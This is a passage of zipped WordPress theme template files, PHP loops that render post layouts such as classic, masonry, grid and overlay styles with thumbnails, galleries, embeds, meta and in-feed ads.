                        <a class="penci-btn-readmore"
                           href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
                    </div>
				<?php endif; ?>
            </div>
        </article>
    </section>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'section',
			'classes'    => 'grid-featured penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\ڂԥ    8  template-parts/latest-posts-sc/content-standard-grid.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-standard.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-grid.php' ) );
}

$j++;
?>

PK     N\E    7  template-parts/latest-posts-sc/content-overlay-grid.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-overlay.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-grid.php' ) );
}

$j++;
?>

PK     N\gUA  UA  2  template-parts/latest-posts-sc/content-classic.phpnu [        <?php
/**
 * Content classic homepage, archive page
 *
 * @since 1.0
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$post_id = get_the_ID();
$block_style = get_theme_mod( 'penci_blockquote_style' ) ? get_theme_mod( 'penci_blockquote_style' ) : 'style-1';
$heading_style = penci_get_heading_style();
$thumb_alt   = $thumb_title_html = '';

$post_class     = get_post_class( '', get_the_ID() );
$standard_class = 'standard-article classic-pitem ' . esc_attr( implode( ' ', $post_class ) );

if ( has_post_thumbnail() ) {
	$thumb_id         = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
	$thumb_title_html = penci_get_image_title( $thumb_id );
}

$heading_title_tag = $standard_title_tag ? $standard_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'pc_titlebig_standard_df' : 'pc_titlebig_standard';
$standard_cat = $standard_cat_move ? 'yes' : $standard_cat;
?>
<article id="post-<?php the_ID(); ?>" class="<?php echo $standard_class; ?>">

    <div class="header-standard header-classic">
		<?php if ( 'yes' != $standard_cat ) : ?>
            <div class="penci-standard-cat"><span class="cat"><?php penci_category( '' ); ?></span></div>
		<?php endif; ?>

        <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title entry-title <?php echo $heading_title_tag_class;?>"><a
                    href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $standard_title_length ); ?></a>
        </<?php echo $heading_title_tag;?>>
		<?php do_action( 'penci_after_post_title' ); ?>
		<?php penci_soledad_meta_schema(); ?>
		<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $standard_author || penci_isshow_reading_time( $standard_readtime ) ) : ?>
            <div class="standard-top-meta author-post byline">
				<?php do_action( 'penci_before_classic_post_meta_el' ); ?>
				<?php if ( $standard_cat_move ) : ?>
					<span class="penci-standard-cat-inline cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>
				<?php if ( 'yes' != $standard_author ) : ?>
                    <span class="author vcard"><?php echo penci_get_setting( 'penci_trans_written_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
							penci_coauthors_posts_links();
						else: ?>
                            <a class="author-url url fn n"
                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
						<?php endif; ?></span>
				<?php endif; ?>
				<?php if ( penci_isshow_reading_time( $standard_readtime ) ) : ?>
                    <span class="penci-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
				<?php if ( isset( $custom_meta_key ) ) {
					echo penci_show_custom_meta_fields( $custom_meta_key );
				} ?>
            </div>
		<?php endif; ?>
    </div>

	<?php if ( 'yes' != $atts['standard_thumbnail'] ): ?>

		<?php if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
            <div class="standard-post-special<?php if ( penci_get_post_format( 'quote' ) ): ?> penci-special-format-quote<?php endif; ?><?php if ( ! has_post_thumbnail() || 'yes' == $atts['standard_thumbnail'] ) : echo ' no-thumbnail'; endif; ?>">
				<?php if ( has_post_thumbnail() && 'yes' != $atts['standard_thumbnail'] ) : ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a <?php if ( 'yes' == $standard_thumb_crop ): ?> class="penci-image-holder penci-lazy" data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"<?php endif; ?>
                                href="<?php the_permalink() ?>">
							<?php if ( 'yes' != $standard_thumb_crop ): ?><img
                                class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                                width="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w' ); ?>"
                                height="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h' ); ?>"
                                src="<?php echo penci_holder_image_base( penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w', false ), penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h', false ) ); ?>" alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"><?php endif; ?>
                        </a>
					<?php } else { ?>
                        <a <?php if ( 'yes' == $standard_thumb_crop ): ?> class="penci-image-holder" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>');"<?php endif; ?>
                                href="<?php the_permalink() ?>">
							<?php if ( 'yes' != $standard_thumb_crop ): ?><?php the_post_thumbnail( 'penci-full-thumb' ); ?><?php endif; ?>
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="standard-content-special">
					<?php if ( penci_get_post_format( 'quote' ) ): ?><a href="<?php the_permalink(); ?>"><?php endif; ?>
                        <div class="format-post-box<?php if ( penci_get_post_format( 'quote' ) ) {
							echo ' penci-format-quote';
						} else {
							echo ' penci-format-link';
						} ?>">
                            <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                            <p class="dt-special">
								<?php
								if ( penci_get_post_format( 'quote' ) ) {
									$dt_content = get_post_meta( get_the_ID(), '_format_quote_source_name', true );
									if ( ! empty( $dt_content ) ): echo sanitize_text_field( $dt_content ); endif;
								} else {
									$dt_content = get_post_meta( get_the_ID(), '_format_link_url', true );
									if ( ! empty( $dt_content ) ):
										echo '<a href="' . esc_url( get_permalink() ) . '">' . sanitize_text_field( $dt_content ) . '</a>';
									endif;
								}
								?>
                            </p>
							<?php
							if ( penci_get_post_format( 'quote' ) ):
								$quote_author = get_post_meta( get_the_ID(), '_format_quote_source_url', true );
								if ( ! empty( $quote_author ) ):
									echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
								endif;
							endif; ?>
                        </div>
						<?php if ( penci_get_post_format( 'quote' ) ): ?></a><?php endif; ?>
                </div>
            </div>

		<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>

			<?php if ( $images ) :
				$autoplay = 'yes' != $atts['std_dis_at_gallery'] ? 'true' : 'false';
				?>
                <div class="standard-post-image classic-post-image">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"
                         data-auto="<?php echo $autoplay; ?>">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>

                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, 'penci-full-thumb' ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image );
									$image_alt         = penci_get_image_alt( $image, get_the_ID() );
									$image_title_html  = penci_get_image_title( $image );
									?>
                                    <figure class="penci-swiper-mask item-link-relative penci-gallery-images"
                                            alt="<?php the_title(); ?>"<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
										<?php echo penci_get_ratio_img_format_gallery( $the_image ); ?>
                                        <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                             width="<?php echo $the_image[1]; ?>"
                                             height="<?php echo $the_image[2]; ?>"
                                             alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?>>
                                    </figure>

                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( penci_get_post_format( 'video' ) ) : ?>

            <div class="standard-post-image classic-post-image video-post">
				<?php $penci_video = get_post_meta( get_the_ID(), '_format_video_embed', true ); ?>
				<?php if ( wp_oembed_get( $penci_video ) ) : ?>
					<?php echo wp_oembed_get( $penci_video ); ?>
				<?php else : ?>
					<?php echo $penci_video; ?>
				<?php endif; ?>
            </div>

		<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>

            <div class="standard-post-image classic-post-image audio<?php if ( ! has_post_thumbnail() ) : echo ' no-thumbnail'; endif; ?>">
				<?php if ( has_post_thumbnail() ) : ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a <?php if ( 'yes' == $standard_thumb_crop ): ?> class="penci-image-holder penci-lazy" data-bgset="<?php echo penci_image_srcset( get_the_ID(), 'penci-full-thumb' ); ?>"<?php endif; ?>
                                href="<?php the_permalink() ?>">
							<?php if ( 'yes' != $standard_thumb_crop ): ?><img
                                class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                                width="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w' ); ?>"
                                height="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h' ); ?>"
                                src="<?php echo penci_holder_image_base( penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w', false ), penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h', false ) ); ?>" alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"><?php endif; ?>
                        </a>
					<?php } else { ?>
                        <a <?php if ( 'yes' == $standard_thumb_crop ): ?> class="penci-image-holder" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>');"<?php endif; ?>
                                href="<?php the_permalink() ?>">
							<?php if ( 'yes' != $standard_thumb_crop ): ?><?php the_post_thumbnail( 'penci-full-thumb' ); ?><?php endif; ?>
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="audio-iframe">
					<?php $penci_audio = get_post_meta( get_the_ID(), '_format_audio_embed', true );
					$penci_audio_str   = substr( $penci_audio, - 4 );
					?>
					<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
						<?php echo wp_oembed_get( $penci_audio ); ?>
					<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
						<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
					<?php else : ?>
						<?php echo $penci_audio; ?>
					<?php endif; ?>
                </div>
            </div>

		<?php else : ?>

			<?php if ( has_post_thumbnail() ) : ?>
                <div class="standard-post-image classic-post-image">
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a <?php if ( 'yes' == $standard_thumb_crop ): ?> class="penci-image-holder penci-lazy" data-bgset="<?php echo penci_image_srcset( get_the_ID(), 'penci-full-thumb' ); ?>"<?php endif; ?>
                                href="<?php the_permalink() ?>">
							<?php if ( 'yes' != $standard_thumb_crop ): ?><img
                                class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                                width="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w' ); ?>"
                                height="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h' ); ?>"
                                src="<?php echo penci_holder_image_base( penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w', false ), penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h', false ) ); ?>" alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"><?php endif; ?>
                        </a>
					<?php } else { ?>
                        <a <?php if ( 'yes' == $standard_thumb_crop ): ?> class="penci-image-holder" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>');"<?php endif; ?>
                                href="<?php the_permalink() ?>">
							<?php if ( 'yes' != $standard_thumb_crop ): ?><?php the_post_thumbnail( 'penci-full-thumb' ); ?><?php endif; ?>
                        </a>
					<?php } ?>
                </div>
			<?php endif; ?>

		<?php endif; /* End Thumbnail */ ?>
	<?php endif; ?>

    <div class="standard-content">
		<?php if ( 'yes' != $standard_remove_excerpt ) { ?>
            <div class="standard-main-content entry-content">
                <div class="post-entry standard-post-entry classic-post-entry <?php echo $heading_style; ?> <?php echo 'blockquote-' . $block_style; ?>">
					<?php if ( 'yes' == $standard_auto_excerpt ) { ?>
						<?php penci_the_excerpt( $standard_excerpt_length, $post_id ); ?>
                        <div class="penci-more-link<?php if ( 'yes' == $atts['std_continue_btn'] ): echo ' penci-more-link-button'; endif; ?>">
                            <a href="<?php the_permalink(); ?>"
                               class="more-link"><?php echo penci_get_setting( 'penci_trans_continue_reading' ); ?></a>
                        </div>
					<?php } else { ?>
						<?php the_content( penci_get_setting( 'penci_trans_continue_reading' ) ); ?>
						<?php wp_link_pages(); ?>
					<?php } ?>
                </div>
            </div>
		<?php } ?>

		<?php if ( 'yes' != $standard_share_box || 'yes' != $standard_date || 'yes' != $standard_comment || 'yes' == $standard_viewscount ) : ?>
            <div class="penci-post-box-meta<?php if ( 'yes' == $standard_share_box || ( 'yes' == $standard_date && 'yes' == $standard_comment && 'yes' != $standard_viewscount ) ): echo ' center-inner'; endif; ?>">
				<?php if ( 'yes' != $standard_date || 'yes' != $standard_comment || 'yes' == $standard_viewscount ) : ?>
                    <div class="penci-box-meta">
						<?php if ( 'yes' != $standard_date ) : ?>
                            <span><?php penci_fawesome_icon( 'far fa-clock' ); ?><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( 'yes' != $standard_comment ) : ?>
                            <span><a href="<?php comments_link(); ?> "><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php
						if ( 'yes' == $standard_viewscount ) {
							echo '<span>';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						}
						?>
                    </div>
				<?php endif; ?>
				<?php if ( 'yes' != $standard_share_box ) : ?>
                    <div class="penci-post-share-box">
						<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
						<?php penci_soledad_social_share(); ?>
                    </div>
				<?php endif; ?>
            </div>
		<?php endif; ?>
    </div>

</article>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'article',
			'classes'    => 'standard-article classic-pitem post penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\3{  {  2  template-parts/latest-posts-sc/content-masonry.phpnu [        <?php
/**
 * Template loop for masonry style
 */
if ( ! isset ( $n ) ) { $n = 1; } else { $n = $n; }
$post_id = get_the_ID();
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
<article id="post-<?php the_ID(); ?>" class="item item-masonry grid-masonry hentry<?php if( 'yes' == $grid_meta_overlay ): echo ' grid-overlay-meta'; endif; ?>">
	<?php if ( has_post_thumbnail() ) : ?>
		<div class="thumbnail">
			<?php
			do_action( 'penci_bookmark_post' );
			/* Display Review Piechart  */
			if( function_exists('penci_display_piechart_review_html') ) {
				penci_display_piechart_review_html( get_the_ID() );
			}
			?>
			<a href="<?php penci_permalink_fix() ?>" class="post-thumbnail<?php echo penci_class_lightbox_enable(); ?>">
				<?php 
				$src_full = penci_get_featured_image_size( get_the_ID(), 'full' );
				$src_check = substr( $src_full, -4 );
				if( $src_check == '.gif' ) {
					echo penci_get_featured_image_padding_markup( get_the_ID(), 'full' );
					the_post_thumbnail( 'full' );
				} else {
					echo penci_get_featured_image_padding_markup( get_the_ID(), 'penci-masonry-thumb' );
					the_post_thumbnail( 'penci-masonry-thumb' );
				}
				?>
			</a>
			<?php if( 'yes' != $grid_icon_format ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-play'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('far fa-image'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-music'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-link'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-quote-left'); ?></a>
				<?php endif; ?>
			<?php endif; ?>
		</div>
	<?php endif; ?>

	<div class="grid-header-box">
		<?php if ( 'yes' != $grid_cat ) : ?>
			<span class="cat"><?php penci_category( '' ); ?></span>
		<?php endif; ?>
		<<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a></<?php echo $heading_title_tag;?>>
		<?php do_action( 'penci_after_post_title' ); ?>
		<?php penci_soledad_meta_schema(); ?>
		<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
			<div class="grid-post-box-meta">
				<?php if ( $grid_cat_move ) : ?>
					<span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>
				<?php if ( 'yes' != $grid_author ) : ?>
					<span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting('penci_trans_by'); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
							penci_coauthors_posts_links();
						else: ?>
                            <a class="author-url url fn n"
                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
						<?php endif; ?></span>
				<?php endif; ?>
				<?php if ( 'yes' != $grid_date ) : ?>
					<span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
				<?php endif; ?>
				<?php if ( 'yes' == $grid_comment_other ) : ?>
					<span class="otherl-comment"><a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 '. penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
				<?php endif; ?>
				<?php
				if ( 'yes' == $grid_viewscount ) {
					echo '<span>';
					echo penci_get_post_views( get_the_ID() );
					echo ' ' . penci_get_setting( 'penci_trans_countviews' );
					echo '</span>';
				}
				?>
				<?php if( penci_isshow_reading_time( $grid_readtime ) ): ?>
					<span class="otherl-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
				<?php if ( isset( $custom_meta_key ) ) {
					echo penci_show_custom_meta_fields( $custom_meta_key );
				} ?>
				<?php do_action( 'penci_extra_meta' ); ?>
			</div>
		<?php endif; ?>
	</div>

	<?php if( get_the_excerpt() && 'yes' != $grid_remove_excerpt ): ?>
		<div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
			<?php 
			do_action( 'penci_before_post_excerpt' );
			penci_the_excerpt( $grid_excerpt_length, $post_id ); ?>
		</div>
	<?php endif; ?>

	<?php if( 'yes' == $grid_add_readmore ):
	$class_button = '';
	if( 'yes' == $grid_remove_arrow ): $class_button .= ' penci-btn-remove-arrow'; endif;
	if( 'yes' == $grid_readmore_button ): $class_button .= ' penci-btn-make-button'; endif;
	if( $grid_readmore_align ): $class_button .= ' penci-btn-align-' . $grid_readmore_align; endif;
	?>
		<div class="penci-readmore-btn<?php echo $class_button; ?>">
			<a class="penci-btn-readmore" href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon('fas fa-angle-double-right'); ?></a>
		</div>
	<?php endif; ?>

	<?php if ( 'yes' != $grid_share_box ) : ?>
		<div class="penci-post-box-meta penci-post-box-grid">
			<div class="penci-post-share-box">
				<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
				<?php penci_soledad_social_share( );  ?>
			</div>
		</div>
	<?php endif; ?>
</article>
<?php 
if( isset( $infeed_ads ) && $infeed_ads ){
	penci_get_markup_infeed_ad(
		array(
			'wrapper' => 'article',
			'classes'      => 'item item-masonry grid-masonry penci-infeed-data penci-infeed-vcele',
			'fullwidth'	 => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	); 
}
?>
<?php $n++; ?>
PK     N\    9  template-parts/latest-posts-sc/content-overlay-grid-2.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-overlay.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-grid-2.php' ) );
}

$j++;
?>

PK     N\FdB  B  :  template-parts/latest-posts-sc/content-classic-boxed-1.phpnu [        <?php
/**
 * Template loop for 1st classic then boxed 1
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	//include( locate_template( 'template-parts/latest-posts-sc/content-boxed-1.php' ) );get_template_part( 'content', 'classic' );
	include( locate_template( 'template-parts/latest-posts-sc/content-classic.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-boxed-1.php' ) );
}

$j++;
?>

PK     N\ib|%  %  7  template-parts/latest-posts-sc/content-grid-boxed-4.phpnu [        <?php
/**
 * Template loop for gird style
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$thumb_size         = isset( $thumb_size ) ? $thumb_size : '';
$post_id = get_the_ID();
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
if ( 'yes' != $grid_date ) {
	$post_date_html = '<div class="penci-grid4-date"><time class="entry-date published" datetime="' . get_the_date( 'c' ) . '"><span>' . get_the_date( 'j' ) . '</span>' . get_the_date( 'M' ) . ', ' . get_the_date( 'Y' ) . '</time></div>';
}
?>
<li class="grid-style grid-boxed-4-item">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
					<?php 
					echo $post_date_html;
					do_action( 'penci_bookmark_post' ); ?>
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>

                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>

									<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                                        <figure class="penci-swiper-mask penci-image-holder penci-lazy" <?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                data-bgset="<?php echo esc_url( $the_image[0] ); ?>">
                                        </figure>
									<?php } else { ?>
                                        <figure class="penci-swiper-mask penci-image-holder" <?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                style="background-image: url('<?php echo esc_url( $the_image[0] ); ?>');">
                                        </figure>
									<?php } ?>
                                </div>
							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				echo $post_date_html;
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>"
                       href="<?php penci_permalink_fix(); ?>" title="<?php echo
					wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>');"
                       href="<?php penci_permalink_fix(); ?>" title="<?php
					echo wp_strip_all_tags(
						get_the_title() ); ?>">
                    </a>
				<?php } ?>

				<?php if ( 'yes' != $grid_icon_format ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">
			<?php if ( 'yes' != $grid_cat ) : ?>
                <span class="cat"><?php penci_category( '' ); ?></span>
			<?php endif; ?>

            <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
            </<?php echo $heading_title_tag;?>>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php penci_soledad_meta_schema(); ?>
			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
                <div class="grid-post-box-meta">
					<?php if ( $grid_cat_move ) : ?>
						<span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $grid_author ) : ?>
                        <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
